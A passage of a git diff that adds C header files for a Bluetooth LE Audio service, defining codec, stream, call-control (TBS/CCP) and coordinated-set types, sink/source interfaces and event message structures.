ADPT_LEA_TBS_CALL_CONTROL_OPEARTION_NOT_POSSIBLE, /**< The requested operation can't be completed. */ + ADPT_LEA_TBS_CALL_CONTROL_INVALID_CALL_INDEX, /**< The call index used for the requested action is invalid. */ + ADPT_LEA_TBS_CALL_CONTROL_STATE_MISMATCH, /**< The call was not in the expected state for the requested action. */ + ADPT_LEA_TBS_CALL_CONTROL_LACK_OF_RESOURCES, /**< Lack of internal resorces to complete the requested action. */ + ADPT_LEA_TBS_CALL_CONTROL_INVALID_OUTGOING_URI, /**< The Outgoing URI is incorrect or invalid. */ +} lea_adpt_call_control_result_t; + +typedef enum { + ADPT_LEA_PAC_TYPE_SINK_PAC = 0x2BC9, + ADPT_LEA_PAC_TYPE_SOURCE_PAC = 0x2BCB, +} lea_pac_type_t; + +typedef enum { + ADPT_LEA_FORMAT_TRANSPARENT = 0x03, + ADPT_LEA_FORMAT_LC3 = 0x06, + ADPT_LEA_FORMAT_G729A = 0x07, + ADPT_LEA_FORMAT_VENDOR = 0xFF, +} lea_codec_fromat; + +typedef enum { + ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_8000 = LEA_BIT(0), + ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_11025 = LEA_BIT(1), + ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_16000 = LEA_BIT(2), + ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_22050 = LEA_BIT(3), + ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_24000 = LEA_BIT(4), + ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_32000 = LEA_BIT(5), + ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_44100 = LEA_BIT(6), + ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_48000 = LEA_BIT(7), + ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_88200 = LEA_BIT(8), + ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_96000 = LEA_BIT(9), + ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_176400 = LEA_BIT(10), + ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_192000 = LEA_BIT(11), + ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_384000 = LEA_BIT(12), +} lea_sample_frequencies_t; + +typedef enum { + ADPT_LEA_SUPPORTED_FRAME_DURATION_7_5 = LEA_BIT(0), + ADPT_LEA_SUPPORTED_FRAME_DURATION_10 = LEA_BIT(1), + ADPT_LEA_PREFERRED_FRAME_DURATION_7_5 = LEA_BIT(4), + ADPT_LEA_PREFERRED_FRAME_DURATION_10 = LEA_BIT(5), +} lea_frame_durations_t; + +typedef enum { + ADPT_LEA_SUPPORTED_CHANNEL_COUNT_1 = LEA_BIT(0), + ADPT_LEA_SUPPORTED_CHANNEL_COUNT_2 = LEA_BIT(1), + ADPT_LEA_SUPPORTED_CHANNEL_COUNT_3 = LEA_BIT(2), + ADPT_LEA_SUPPORTED_CHANNEL_COUNT_4 = LEA_BIT(3), + ADPT_LEA_SUPPORTED_CHANNEL_COUNT_5 = LEA_BIT(4), + ADPT_LEA_SUPPORTED_CHANNEL_COUNT_6 = LEA_BIT(5), + ADPT_LEA_SUPPORTED_CHANNEL_COUNT_7 = LEA_BIT(6), + ADPT_LEA_SUPPORTED_CHANNEL_COUNT_8 = LEA_BIT(7), +} lea_channal_counts_t; + +typedef enum { + ADPT_LEA_SIRK_TYPE_ENCRYPTED, + ADPT_LEA_SIRK_TYPE_PLAIN_TEXT, + ADPT_LEA_SIRK_TYPE_OOB_ONLY = 0xFF, +} lea_sirk_type_t; + +/* Context ID */ +typedef enum { + ADPT_LEA_CTX_ID_UNSPECIFIED, + ADPT_LEA_CTX_ID_CONVERSATIONAL, + ADPT_LEA_CTX_ID_MEDIA, + ADPT_LEA_CTX_ID_GAME, + ADPT_LEA_CTX_ID_INSTRUCTIONAL, + ADPT_LEA_CTX_ID_VOICE_ASSISTANTS, + ADPT_LEA_CTX_ID_LIVE, + ADPT_LEA_CTX_ID_SOUND_EFFECTS, + ADPT_LEA_CTX_ID_NOTIFICATIONS, + ADPT_LEA_CTX_ID_RINGTONE, + ADPT_LEA_CTX_ID_ALERTS, + ADPT_LEA_CTX_ID_EMERGENCY_ALARM, + ADPT_LEA_CTX_ID_NUMBER, +} lea_adpt_context_id_t; + +typedef enum { + ADPT_LEA_CONTEXT_TYPE_PROHIBITED, + ADPT_LEA_CONTEXT_TYPE_UNSPECIFIED = LEA_BIT(ADPT_LEA_CTX_ID_UNSPECIFIED), + ADPT_LEA_CONTEXT_TYPE_CONVERSATIONAL = LEA_BIT(ADPT_LEA_CTX_ID_CONVERSATIONAL), + ADPT_LEA_CONTEXT_TYPE_MEDIA = LEA_BIT(ADPT_LEA_CTX_ID_MEDIA), + ADPT_LEA_CONTEXT_TYPE_GAME = LEA_BIT(ADPT_LEA_CTX_ID_GAME), + ADPT_LEA_CONTEXT_TYPE_INSTRUCTIONAL = LEA_BIT(ADPT_LEA_CTX_ID_INSTRUCTIONAL), + ADPT_LEA_CONTEXT_TYPE_VOICE_ASSISTANTS = LEA_BIT(ADPT_LEA_CTX_ID_VOICE_ASSISTANTS), + ADPT_LEA_CONTEXT_TYPE_LIVE = LEA_BIT(ADPT_LEA_CTX_ID_LIVE), + ADPT_LEA_CONTEXT_TYPE_SOUND_EFFECTS = LEA_BIT(ADPT_LEA_CTX_ID_SOUND_EFFECTS), + ADPT_LEA_CONTEXT_TYPE_NOTIFICATIONS = LEA_BIT(ADPT_LEA_CTX_ID_NOTIFICATIONS), + ADPT_LEA_CONTEXT_TYPE_RINGTONE = LEA_BIT(ADPT_LEA_CTX_ID_RINGTONE), + ADPT_LEA_CONTEXT_TYPE_ALERTS = LEA_BIT(ADPT_LEA_CTX_ID_ALERTS), + ADPT_LEA_CONTEXT_TYPE_EMERGENCY_ALARM = LEA_BIT(ADPT_LEA_CTX_ID_EMERGENCY_ALARM), +} lea_adpt_context_types_t; + +typedef enum { + ADPT_LEA_LC3_SET_UNKNOWN, + ADPT_LEA_LC3_SET_8_1_1, /* Odd is 7.5 ms */ + ADPT_LEA_LC3_SET_8_2_2, /* Even is 10 ms */ + ADPT_LEA_LC3_SET_16_1_3, + ADPT_LEA_LC3_SET_16_2_4, + ADPT_LEA_LC3_SET_24_1_5, + ADPT_LEA_LC3_SET_24_2_6, + ADPT_LEA_LC3_SET_32_1_7, + ADPT_LEA_LC3_SET_32_2_8, + ADPT_LEA_LC3_SET_441_1_9, + ADPT_LEA_LC3_SET_441_2_10, + ADPT_LEA_LC3_SET_48_1_11, + ADPT_LEA_LC3_SET_48_2_12, + ADPT_LEA_LC3_SET_48_3_13, + ADPT_LEA_LC3_SET_48_4_14, + ADPT_LEA_LC3_SET_48_5_15, + ADPT_LEA_LC3_SET_48_6_16, +} lea_lc3_set_id_t; + +typedef enum { + ADPT_LEA_SAMPLE_FREQUENCY_UNKNOWN, + ADPT_LEA_SAMPLE_FREQUENCY_8000 = 1, + ADPT_LEA_SAMPLE_FREQUENCY_11025, + ADPT_LEA_SAMPLE_FREQUENCY_16000, + ADPT_LEA_SAMPLE_FREQUENCY_22050, + ADPT_LEA_SAMPLE_FREQUENCY_24000, + ADPT_LEA_SAMPLE_FREQUENCY_32000, + ADPT_LEA_SAMPLE_FREQUENCY_44100, + ADPT_LEA_SAMPLE_FREQUENCY_48000, + ADPT_LEA_SAMPLE_FREQUENCY_88200, + ADPT_LEA_SAMPLE_FREQUENCY_96000, + ADPT_LEA_SAMPLE_FREQUENCY_176400, + ADPT_LEA_SAMPLE_FREQUENCY_192000, + ADPT_LEA_SAMPLE_FREQUENCY_384000, +} lea_sample_frequency_t; + +typedef enum { + ADPT_LEA_FRAME_DURATION_7_5, + ADPT_LEA_FRAME_DURATION_10, +} lea_frame_duration; + +typedef struct { + uint8_t frequency; + uint8_t duration; + uint16_t octets; +} lea_lc3_config_t; + +typedef struct { + uint16_t contexts; + uint8_t set_number; + uint8_t* set_10_ids; +} lea_lc3_prefer_config; + +typedef struct { + uint8_t format; + uint16_t company_id; + uint16_t codec_id; +} lea_codec_id_t; + +typedef struct { + lea_codec_id_t codec_id; + uint16_t mask; + uint8_t frequency; + uint8_t duration; + uint32_t allocation; + uint16_t octets; + uint8_t blocks; +} lea_codec_config_t; + +typedef struct +{ + uint16_t stream_handle; + uint32_t channel_allocation; +} lea_stream_info_t; + +typedef struct +{ + uint16_t mask; + uint16_t frequencies; + uint8_t durations; + uint8_t channels; + uint16_t frame_octets_min; + uint16_t frame_octets_max; + uint8_t max_frames; +} lea_codec_cap_t; + +typedef struct +{ + uint8_t type; + union { + uint32_t preferred_contexts; + uint32_t streaming_contexts; + uint8_t program_info[64]; + uint32_t language; + uint8_t ccid_list[64]; + uint32_t parental_rating; + uint8_t program_info_uri[64]; + uint8_t extended_metadata[64]; + uint8_t vendor_specific[64]; + }; +} lea_metadata_t; + +typedef struct { + lea_pac_type_t pac_type; + uint32_t pac_id; + lea_codec_id_t codec_id; + lea_codec_cap_t codec_pac; + uint8_t md_number; + lea_metadata_t* md_value; +} lea_pac_info_t; + +typedef struct +{ + uint16_t sink; + uint16_t source; +} lea_audio_context_t; + +typedef struct { + uint8_t pac_number; + lea_pac_info_t* pac_list; + uint32_t sink_location; + uint32_t source_location; + lea_audio_context_t supported_ctx; + lea_audio_context_t available_ctx; +} lea_pacs_info_t; + +typedef struct { + uint8_t sink_ase_number; + uint8_t source_ase_number; +} lea_ascs_info_t; + +typedef struct { + uint8_t bass_number; +} lea_bass_info_t; + +typedef struct { + uint32_t csis_id; + uint8_t set_size; + uint8_t sirk[16]; + uint8_t sirk_type; + uint8_t rank; +} lea_csis_info_t; + +typedef struct { + uint8_t csis_number; + uint8_t rfu; + lea_csis_info_t* csis_info; +} lea_csis_infos_t; + +typedef struct { + bool is_source; + bool started; + uint8_t target_latency; + uint8_t target_phy; + uint8_t channal_num; + uint16_t iso_handle; + uint16_t sdu_size; + uint16_t max_sdu; + uint32_t stream_id; + uint32_t group_id; + bt_address_t addr; + lea_codec_config_t codec_cfg; +} lea_audio_stream_t; + +typedef struct { + void* reserved_data; + uint16_t iso_handle; + uint8_t reserved_handle; + uint16_t sdu_length; + uint8_t* sdu; +} lea_send_iso_data_t; + +typedef struct { + struct list_node node; + uint32_t time_stamp; + uint16_t seq; + uint16_t length; + uint8_t sdu[1]; +} lea_recv_iso_data_t; + +/* LE Audio TBS struct */ +typedef struct { + void* bearer_ref; /**< Application specified bearer identity. */ + uint8_t provider_name[MAX_PROVIDER_NAME_LENGTH]; /**< Initial Bearer Provider Name. Zero terminated UTF-8 string. */ + uint8_t uci[MAX_UCI_LENGTH]; /**< Bearer UCI. Zero terminated UTF-8 string. */ + uint8_t uri_schemes[MAX_URI_SCHEMES_LENGTH]; /**< Initial list of Bearer URI schemes supported. Zero terminated UTF-8 string. */ + uint8_t technology; /**< Initial Bearer Technology, one of #SERVICE_LEA_TBS_BEARER_TECHNLOGY. */ + uint8_t signal_strength; /**< Initial Bearer Signal Strength, 0 indicates no service; 1 to 100 indicates the valid signal strength. 255 indicates that signal strength is unavailable or has no meaning. */ + uint8_t signal_strength_report_interval; /**< Initial Signal Strength reporting interval in seconds. 0 to 255. 0 indicates that reporting signal strength only when it is changed. */ + uint16_t status_flags; /**< Server feature status. Bits of #SERVICE_LEA_TBS_STATUS_FLAGS. */ + uint16_t optional_opcodes_supported; /**< Call control point optional Opcodes supported. Bits of #SERVICE_LEA_TBS_SUPPORTED_CALL_CONTROL_OPCODES. */ +} lea_tbs_telephone_bearer_t; + +typedef struct { + uint8_t index; /**< Call Index, 1 to 255. */ + uint8_t state; /**< Initial Call State, one of #SERVICE_LEA_TBS_CALL_STATE. */ + uint8_t flags; /**< Initial Call flags, bits of #SERVICE_LEA_TBS_CALL_FLAGS. */ + uint8_t call_uri[MAX_CALL_URI_LENGTH]; /**< The Incoming Call URI or Outgoing Call URI. Zero terminated UTF-8 string. Set to NULL if the URI is unknown. */ + uint8_t incoming_target_uri[MAX_INCOMING_CALL_URI_LENGTH]; /**< The Incoming Call Target Bearer URI. Zero terminated UTF-8 string. Set to NULL for an outgoing call or if the URI is unknown. */ + uint8_t friendly_name[MAX_FRIENDLY_NAME_LENGTH]; /**< The Friendly Name of the incoming or outgoing call. Zero terminated UTF-8 string. Set to NULL if the URI is unknown. */ +} lea_tbs_calls_t; + +typedef struct { + uint8_t index; /**< Call Index, 1 to 255. */ + uint8_t state; /**< Call State, one of #SERVICE_LEA_TBS_CALL_STATE. */ + uint8_t flags; /**< Call flags, bits of #SERVICE_LEA_TBS_CALL_FLAGS. */ +} lea_tbs_call_state_t; + +typedef struct { + uint8_t index; /**< Call Index, 1 to 255. */ + uint8_t state; /**< Call State, one of #SERVICE_LEA_TBS_CALL_STATE. */ + uint8_t flags; /**< Call flags, bits of #SERVICE_LEA_TBS_CALL_FLAGS. */ + char call_uri[0]; /**< The Incoming Call URI or Outgoing Call URI. Zero terminated UTF-8 string. Set to NULL if the URI is unknown. */ +} lea_tbs_call_list_item_t; + +typedef void (*lea_audio_suspend_callback)(void); + +typedef void (*lea_audio_resume_callback)(void); + +typedef void (*lea_audio_meatadata_updated_callback)(void); + +typedef void (*lea_audio_send_callback)(uint8_t* buffer, uint16_t length); + +#endif diff --git a/service/profiles/include/lea_audio_sink.h b/service/profiles/include/lea_audio_sink.h new file mode 100644 index 0000000000000000000000000000000000000000..6882d0f4ef0327c67968c5f002a68e16ed4ceec3 --- /dev/null +++ b/service/profiles/include/lea_audio_sink.h @@ -0,0 +1,82 @@ +/**************************************************************************** + * service/profiles/include/lea_audio_sink.h + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. The + * ASF licenses this file to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance with the + * License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations + * under the License. + * + ****************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#ifndef __LEA_AUDIO_SINK_H__ +#define __LEA_AUDIO_SINK_H__ + +#include <errno.h> +#include <stdlib.h> +#include <string.h> + +#include "bt_status.h" +#include "lea_audio_common.h" +#include "lea_codec.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +/**************************************************************************** + * Public Types + ****************************************************************************/ + +typedef struct { + lea_audio_suspend_callback lea_audio_suspend_cb; + lea_audio_resume_callback lea_audio_resume_cb; + lea_audio_meatadata_updated_callback lea_audio_meatadata_updated_cb; +} lea_sink_callabcks_t; + +/**************************************************************************** + * Public Fucntion + ****************************************************************************/ + +void lea_audio_sink_set_callback(lea_sink_callabcks_t* callback); + +bt_status_t lea_audio_sink_init(bool offloading); + +lea_recv_iso_data_t* lea_audio_sink_packet_alloc(uint32_t timestamp, + uint16_t seq, uint8_t* data, uint16_t length); + +void lea_audio_sink_packet_free(lea_recv_iso_data_t* packet); + +bt_status_t lea_audio_sink_start(void); + +bt_status_t lea_audio_sink_stop(bool update_codec); + +bt_status_t lea_audio_sink_suspend(void); + +bt_status_t lea_audio_sink_resume(void); + +bt_status_t lea_audio_sink_mute(bool mute); + +bt_status_t lea_audio_sink_update_codec(lea_audio_config_t* codec, uint16_t sdu_size); + +void lea_audio_sink_packet_recv(lea_recv_iso_data_t* packet); + +bool lea_audio_sink_is_started(void); + +bool lea_audio_sink_ctrl_is_connected(void); + +void lea_audio_sink_cleanup(void); + +#endif \ No newline at end of file diff --git a/service/profiles/include/lea_audio_source.h b/service/profiles/include/lea_audio_source.h new file mode 100644 index 0000000000000000000000000000000000000000..22b9ef8d17f18856a4a9755507c59f8113c8281e --- /dev/null +++ b/service/profiles/include/lea_audio_source.h @@ -0,0 +1,74 @@ +/**************************************************************************** + * frameworks/bluetooth/btservice/leaudio/audio_sink.c + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. The + * ASF licenses this file to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance with the + * License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations + * under the License. + * + ****************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#ifndef __LEA_AUDIO_SOURCE_H__ +#define __LEA_AUDIO_SOURCE_H__ + +#include <errno.h> +#include <stdlib.h> +#include <string.h> + +#include "bt_status.h" +#include "lea_audio_common.h" +#include "lea_codec.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +/**************************************************************************** + * Public Types + ****************************************************************************/ + +typedef struct { + lea_audio_suspend_callback lea_audio_suspend_cb; + lea_audio_resume_callback lea_audio_resume_cb; + lea_audio_meatadata_updated_callback lea_audio_meatadata_updated_cb; + lea_audio_send_callback lea_audio_send_cb; +} lea_source_callabcks_t; + +/**************************************************************************** + * Public Fucntion + ****************************************************************************/ + +void lea_audio_source_set_callback(lea_source_callabcks_t* callback); + +bt_status_t lea_audio_source_init(bool offloading); + +bt_status_t lea_audio_source_start(void); + +bt_status_t lea_audio_source_stop(bool update_codec); + +bt_status_t lea_audio_source_suspend(void); + +bt_status_t lea_audio_source_resume(void); + +bt_status_t lea_audio_source_update_codec(lea_audio_config_t* codec, uint16_t sdu_size); + +bool lea_audio_source_is_started(void); + +bool lea_audio_source_ctrl_is_connected(void); + +void lea_audio_source_cleanup(void); + +#endif \ No newline at end of file diff --git a/service/profiles/include/lea_ccp_event.h b/service/profiles/include/lea_ccp_event.h new file mode 100644 index 0000000000000000000000000000000000000000..30e47ec0b99b92765a5a1917b8256d869e5a65bc --- /dev/null +++ b/service/profiles/include/lea_ccp_event.h @@ -0,0 +1,68 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_CCP_EVENT_H__ +#define __LEA_CCP_EVENT_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_addr.h" +#include "bt_lea_ccp.h" +#include <stdint.h> + +typedef enum { + STACK_EVENT_READ_PROVIDER_NAME, + STACK_EVENT_READ_UCI, + STACK_EVENT_READ_TECHNOLOGY, + STACK_EVENT_READ_URI_SCHEMES_SUPPORT_LIST, + STACK_EVENT_READ_SIGNAL_STRENGTH, + STACK_EVENT_READ_SIGNAL_STRENGTH_REPORT_INTERVAL, + STACK_EVENT_READ_CONTENT_CONTROL_ID, + STACK_EVENT_READ_STATUS_FLAGS, + STACK_EVENT_READ_CALL_CONTROL_OPTIONAL_OPCODES, + STACK_EVENT_READ_INCOMING_CALL, + STACK_EVENT_READ_INCOMING_CALL_TARGET_BEARER_URI, + STACK_EVENT_READ_CALL_STATE, + STACK_EVENT_READ_BEARER_LIST_CURRENT_CALL, + STACK_EVENT_READ_CALL_FRIENDLY_NAME, + STACK_EVENT_TERMINATION_REASON, + STACK_EVENT_CALL_CONTROL_RESULT, +} lea_ccp_event_t; + +typedef struct { + uint32_t tbs_id; + uint32_t valueint32; + uint16_t valueint16; + uint8_t valueint8_0; + uint8_t valueint8_1; + uint8_t valueint8_2; + uint8_t dataarry[1]; +} lea_ccp_event_data_t; + +typedef struct { + bt_address_t remote_addr; + lea_ccp_event_t event; + lea_ccp_event_data_t event_data; +} lea_ccp_msg_t; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ +lea_ccp_msg_t* lea_ccp_msg_new(lea_ccp_event_t event, bt_address_t* remote_addr, uint32_t tbs_id); +lea_ccp_msg_t* lea_ccp_msg_new_ext(lea_ccp_event_t event, bt_address_t* remote_addr, uint32_t tbs_id, size_t size); +void lea_ccp_msg_destory(lea_ccp_msg_t* ccp_msg); + +#endif /* __LEA_CCP_EVENT_H__ */ \ No newline at end of file diff --git a/service/profiles/include/lea_ccp_service.h b/service/profiles/include/lea_ccp_service.h new file mode 100644 index 0000000000000000000000000000000000000000..0474f755164041527cae31458c04dcaad29c66cf --- /dev/null +++ b/service/profiles/include/lea_ccp_service.h @@ -0,0 +1,101 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_CCP_SERVICE_H__ +#define __LEA_CCP_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_device.h" +#include "bt_lea_ccp.h" +#include "sal_lea_ccp_interface.h" +#include "stddef.h" + +typedef struct { + uint8_t num; + uint32_t sid; +} bts_tbs_info_s; + +typedef struct { + uint32_t tbs_id; + char provider_name[MAX_PROVIDER_NAME_LENGTH]; + char uci[MAX_UCI_LENGTH]; + uint8_t technology; + char uri_schemes[MAX_URI_SCHEMES_LENGTH]; + uint8_t strength; + uint8_t interval; + uint8_t ccid; + uint16_t status_flags; + uint16_t opcodes; + uint8_t call_index; + char uri[MAX_CALL_URI_LENGTH]; + char friendly_name[MAX_PROVIDER_NAME_LENGTH]; +} bearer_tele_info_t; + +/* + * sal callback + */ +void lea_ccp_on_bearer_provider_name(bt_address_t* addr, uint32_t tbs_id, size_t size, const char* name); +void lea_ccp_on_bearer_uci(bt_address_t* addr, uint32_t tbs_id, size_t size, const char* uci); +void lea_ccp_on_bearer_technology(bt_address_t* addr, uint32_t tbs_id, uint8_t technology); +void lea_ccp_on_bearer_uri_schemes_supported_list(bt_address_t* addr, uint32_t tbs_id, size_t size, const char* uri_schemes); +void lea_ccp_on_bearer_signal_strength(bt_address_t* addr, uint32_t tbs_id, uint8_t strength); +void lea_ccp_on_bearer_signal_strength_report_interval(bt_address_t* addr, uint32_t tbs_id, uint8_t interval); +void lea_ccp_on_content_control_id(bt_address_t* addr, uint32_t tbs_id, uint8_t ccid); +void lea_ccp_on_status_flags(bt_address_t* addr, uint32_t tbs_id, uint16_t status_flags); +void lea_ccp_on_call_control_optional_opcodes(bt_address_t* addr, uint32_t tbs_id, uint16_t opcodes); +void lea_ccp_on_incoming_call(bt_address_t* addr, uint32_t tbs_id, uint8_t call_index, size_t size, const char* uri); +void lea_ccp_on_incoming_call_target_bearer_uri(bt_address_t* addr, uint32_t tbs_id, uint8_t call_index, size_t size, const char* uri); +void lea_ccp_on_call_state(bt_address_t* addr, uint32_t tbs_id, uint32_t number, lea_tbs_call_state_t* states_s); +void lea_ccp_on_bearer_list_current_calls(bt_address_t* addr, uint32_t tbs_id, uint32_t number, size_t size, lea_tbs_call_list_item_t* calls); +void lea_ccp_on_call_friendly_name(bt_address_t* addr, uint32_t tbs_id, uint8_t call_index, size_t size, const char* name); +void lea_ccp_on_termination_reason(bt_address_t* addr, uint32_t tbs_id, uint8_t call_index, lea_adpt_termination_reason_t reason); +void lea_ccp_on_call_control_result(bt_address_t* addr, uint32_t tbs_id, uint8_t opcode, uint8_t call_index, lea_adpt_call_control_result_t result); + +typedef struct { + size_t size; + bt_status_t (*read_bearer_provider_name)(bt_address_t* tbs_addr); + bt_status_t (*read_bearer_uci)(bt_address_t* tbs_addr); + bt_status_t (*read_bearer_technology)(bt_address_t* tbs_addr); + bt_status_t (*read_bearer_uri_schemes_supported_list)(bt_address_t* tbs_addr); + bt_status_t (*read_bearer_signal_strength)(bt_address_t* tbs_addr); + bt_status_t (*read_bearer_signal_strength_report_interval)(bt_address_t* tbs_addr); + bt_status_t (*read_content_control_id)(bt_address_t* tbs_addr); + bt_status_t (*read_status_flags)(bt_address_t* tbs_addr); + bt_status_t (*read_call_control_optional_opcodes)(bt_address_t* tbs_addr); + bt_status_t (*read_incoming_call)(bt_address_t* tbs_addr); + bt_status_t (*read_incoming_call_target_bearer_uri)(bt_address_t* tbs_addr); + bt_status_t (*read_call_state)(bt_address_t* tbs_addr); + bt_status_t (*read_bearer_list_current_calls)(bt_address_t* tbs_addr); + bt_status_t (*read_call_friendly_name)(bt_address_t* tbs_addr); + bt_status_t (*call_control_by_index)(bt_address_t* tbs_addr, uint8_t opcode); + bt_status_t (*originate_call)(bt_address_t* tbs_addr, uint8_t* uri); + bt_status_t (*join_calls)(bt_address_t* tbs_addr, uint8_t number, uint8_t* call_indexes); + void* (*register_callbacks)(void* handle, lea_ccp_callbacks_t* callbacks); + bool (*unregister_callbacks)(void** handle, void* cookie); +} lea_ccp_interface_t; + +/* + * register profile to service manager + */ +void register_lea_ccp_service(void); + +/* + * set tbs id infomation + */ +void adpt_tbs_sid_changed(uint32_t sid); + +#endif /* __LEA_CCP_SERVICE_H__ */ diff --git a/service/profiles/include/lea_client_event.h b/service/profiles/include/lea_client_event.h new file mode 100644 index 0000000000000000000000000000000000000000..3c5b4fff5eb1e948b88fbdb980822215f220f17f --- /dev/null +++ b/service/profiles/include/lea_client_event.h @@ -0,0 +1,137 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_CLIENT_EVENT_H__ +#define __LEA_CLIENT_EVENT_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include "bt_addr.h" + +#include <stdint.h> + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#define LEA_CLIENT_MSG_ADD_STR(msg, num, str, len) \ + if (str != NULL && len != 0) { \ + msg->data.string##num = malloc(len + 1); \ + msg->data.string##num[len] = '\0'; \ + memcpy(msg->data.string##num, str, len); \ + } else { \ + msg->data.string##num = NULL; \ + } + +typedef enum { + CONNECT_DEVICE = 1, + DISCONNECT_DEVICE = 2, + CONNECT_AUDIO = 3, + DISCONNECT_AUDIO = 4, + STARTUP = 10, + SHUTDOWN = 11, + TIMEOUT = 12, + OFFLOAD_START_REQ, + OFFLOAD_STOP_REQ, + OFFLOAD_START_EVT, + OFFLOAD_STOP_EVT, + OFFLOAD_TIMEOUT, + STACK_EVENT_STACK_STATE, + STACK_EVENT_CONNECTION_STATE, + STACK_EVENT_METADATA_UPDATED, + STACK_EVENT_STORAGE, + STACK_EVENT_SERVICE, + STACK_EVENT_STREAM_ADDED, + STACK_EVENT_STREAM_REMOVED, + STACK_EVENT_STREAM_STARTED, + STACK_EVENT_STREAM_STOPPED, + STACK_EVENT_STREAM_RESUME, + STACK_EVENT_STREAM_SUSPEND, + STACK_EVENT_STREAN_RECV, + STACK_EVENT_STREAN_SENT, + STACK_EVENT_ASE_CODEC_CONFIG, + STACK_EVENT_ASE_QOS_CONFIG, + STACK_EVENT_ASE_ENABLING, + STACK_EVENT_ASE_STREAMING, + STACK_EVENT_ASE_DISABLING, + STACK_EVENT_ASE_RELEASING, + STACK_EVENT_ASE_IDLE, +} lea_client_event_t; + +typedef struct +{ + bt_address_t addr; + uint32_t valueint1; + uint32_t valueint2; + uint16_t valueint3; + uint16_t valueint4; + size_t size; + void* data; + void* cb; +} lea_client_data_t; + +typedef struct +{ + lea_client_event_t event; + lea_client_data_t data; +} lea_client_msg_t; + +typedef enum { + STACK_EVENT_CSIP_CS_SIRK = 0, + STACK_EVENT_CSIP_CS_SIZE, + STACK_EVENT_CSIP_CS_CREATED, + STACK_EVENT_CSIP_CS_SIZE_UPDATED, + STACK_EVENT_CSIP_CS_DELETED, + STACK_EVENT_CSIP_CS_LOCKED, + STACK_EVENT_CSIP_CS_UNLOCKED, + STACK_EVENT_CSIP_CS_ORDERED_ACCESS, + STACK_EVENT_CSIP_MEMBER_RANK, + STACK_EVENT_CSIP_MEMBER_DISCOVERED, + STACK_EVENT_CSIP_MEMBER_ADD, + STACK_EVENT_CSIP_MEMBER_REMOVED, + STACK_EVENT_CSIP_MEMBER_DISCOVERY_TERMINATED, + STACK_EVENT_CSIP_MEMBER_LOCKED, + STACK_EVENT_CSIP_MEMBER_UNLOCKED, +} lea_csip_event_t; + +typedef struct { + uint8_t valueint8; + uint8_t dataarry[1]; +} lea_csip_event_data_t; + +typedef struct { + bt_address_t addr; + lea_csip_event_t event; + lea_csip_event_data_t event_data; +} lea_csip_msg_t; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +lea_client_msg_t* lea_client_msg_new(lea_client_event_t event, + bt_address_t* addr); + +lea_client_msg_t* lea_client_msg_new_ext(lea_client_event_t event, bt_address_t* addr, + void* data, uint32_t size); + +void lea_client_msg_destory(lea_client_msg_t* msg); + 